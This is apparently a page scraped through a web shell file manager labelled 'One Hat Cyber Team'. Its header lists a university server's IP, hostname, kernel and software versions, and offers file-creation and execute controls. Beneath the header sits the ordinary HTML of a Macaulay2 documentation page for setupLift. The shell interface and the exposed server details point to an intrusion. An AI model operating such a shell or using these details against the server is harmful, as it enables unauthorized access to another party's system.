One Hat Cyber Team
Your IP :
216.73.216.135
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
Macaulay2
/
Macaulay2Doc
/
html
/
View File Name :
_setup__Lift.html
<!DOCTYPE html> <html lang="en"> <head> <title>setupLift -- set up lift from one ring to another</title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <link type="text/css" rel="stylesheet" href="../../../../Macaulay2/Style/doc.css"> <link rel="stylesheet" href="../../../../Macaulay2/Style/katex/katex.min.css"> <script defer="defer" src="../../../../Macaulay2/Style/katex/katex.min.js"></script> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/auto-render.min.js"></script> <script> var macros = { "\\break": "\\\\", "\\ZZ": "\\mathbb{Z}", "\\NN": "\\mathbb{N}", "\\QQ": "\\mathbb{Q}", "\\RR": "\\mathbb{R}", "\\CC": "\\mathbb{C}", "\\PP": "\\mathbb{P}" }, delimiters = [ { left: "$$", right: "$$", display: true}, { left: "\\[", right: "\\]", display: true}, { left: "$", right: "$", display: false}, { left: "\\(", right: "\\)", display: false} ], ignoredTags = [ "kbd", "var", "samp", "script", "noscript", "style", "textarea", "pre", "code", "option" ]; document.addEventListener("DOMContentLoaded", function() { renderMathInElement(document.body, { delimiters: delimiters, macros: macros, ignoredTags: ignoredTags, trust: true }); }); </script> <style>.katex { font-size: 1em; }</style> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/copy-tex.min.js"></script> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/render-a11y-string.min.js"></script> <script src="../../../../Macaulay2/Style/prism.js"></script> <script>var current_version = '1.25.06';</script> <script src="../../../../Macaulay2/Style/version-select.js"></script> <link type="image/x-icon" rel="icon" href="../../../../Macaulay2/Style/icon.gif"> </head> <body> <div id="buttons"> <div> <a href="https://macaulay2.com/">Macaulay2</a> <span id="version-select-container"></span> » <a title="Macaulay2 documentation" href="index.html">Documentation </a> <br><a href="_packages_spprovided_spwith_sp__Macaulay2.html">Packages</a> » <span><a title="Macaulay2 documentation" href="index.html">Macaulay2Doc</a> » <a href="_rings.html">rings</a> » <a href="_substitution_spand_spmaps_spbetween_springs.html">substitution and maps between rings</a> » <a href="_working_spwith_spmultiple_springs.html">working with multiple rings</a> » <a title="lift to another ring" href="_lift.html">lift</a> » <a title="set up lift from one ring to another" href="_setup__Lift.html">setupLift</a></span> </div> <div class="right"> <form method="get" action="https://www.google.com/search"> <input placeholder="Search" type="text" name="q" value=""> <input type="hidden" name="q" value="site:macaulay2.com/doc"> </form> next | <a href="_liftable.html">previous</a> | <a href="_promote.html">forward</a> | <a href="_liftable.html">backward</a> | <a href="_lift.html">up</a> | <a href="master.html">index</a> | <a href="toc.html">toc</a> </div> </div> <hr> <div> <h1>setupLift -- set up lift from one ring to another</h1> <ul> <li> <dl class="element"> <dt>Usage: </dt> <dd><code class="language-macaulay2">setupLift (f,R,S)</code></dd> <dd><code class="language-macaulay2">setupLift g</code></dd> </dl> </li> <li>Inputs: <ul> <li><span><span class="tt">f</span>, <span>a <a title="the class of all functions" href="___Function.html">function</a></span>, </span></li> <li><span><span class="tt">R</span>, <span>a <a title="the class of all rings" href="___Ring.html">ring</a></span>, </span></li> <li><span><span class="tt">S</span>, <span>a <a title="the class of all rings" href="___Ring.html">ring</a></span>, </span></li> <li><span><span class="tt">g</span>, <span>a <a title="the class of all ring maps" href="___Ring__Map.html">ring map</a></span>, </span></li> </ul> </li> </ul> <div> <h2>Description</h2> <div> <p>There are two possible ways of implementing <a title="lift to another ring" href="_lift.html">lift</a> using <span class="tt">setupLift</span>. In the first one, we use a function:</p> </div> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i1 : R=QQ[x] o1 = R o1 : PolynomialRing</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i2 : S=QQ[y] o2 = S o2 : PolynomialRing</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i3 : setupPromote map(R,S,{x^2})</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i4 : setupLift(a->sum(listForm a, (e,c)->if odd first e then error "not liftable" else c*y^(first e//2)),R,S)</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i5 : promote(y^2+2,R) 4 o5 = x + 2 o5 : R</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i6 : lift(oo,S) 2 o6 = y + 2 o6 : S</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i7 : lift(x,S,Verify=>false)</code></pre> </td> </tr> </table> <div> <p>In the second one, we define a ring map which is a partial inverse to the promotion map:</p> </div> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i8 : R=QQ[x,y] o8 = R o8 : PolynomialRing</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i9 : S=R[s] o9 = S o9 : PolynomialRing</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i10 : setupPromote map(R,S,{x+y})</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i11 : setupLift map(S,R,{s,0})</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i12 : promote(s^3+2*s-1,R) 3 2 2 3 o12 = x + 3x y + 3x*y + y + 2x + 2y - 1 o12 : R</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i13 : lift(oo,S) 3 o13 = s + 2s - 1 o13 : S</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i14 : lift(x,S,Verify=>false)</code></pre> </td> </tr> </table> </div> <div> <h2>See also</h2> <ul> <li><span><a title="set up promote from one ring to another" href="_setup__Promote.html">setupPromote</a> -- set up promote from one ring to another</span></li> </ul> </div> <div> <div class="waystouse"> <h2>Ways to use <span class="tt">setupLift</span>:</h2> <ul> <li><kbd>setupLift(Function,Ring,Ring)</kbd></li> <li><kbd>setupLift(RingMap)</kbd></li> </ul> </div> <div class="waystouse"> <h2>For the programmer</h2> <p>The object <a title="set up lift from one ring to another" href="_setup__Lift.html">setupLift</a> is <span>a <a title="a type of method function" href="___Method__Function.html">method function</a></span>.</p> </div> <hr> <div class="waystouse"> <p>The source of this document is in <span class="tt">Macaulay2Doc/functions/setupLift-doc.m2:46:0</span>.</p> </div> </div> </div> </body> </html>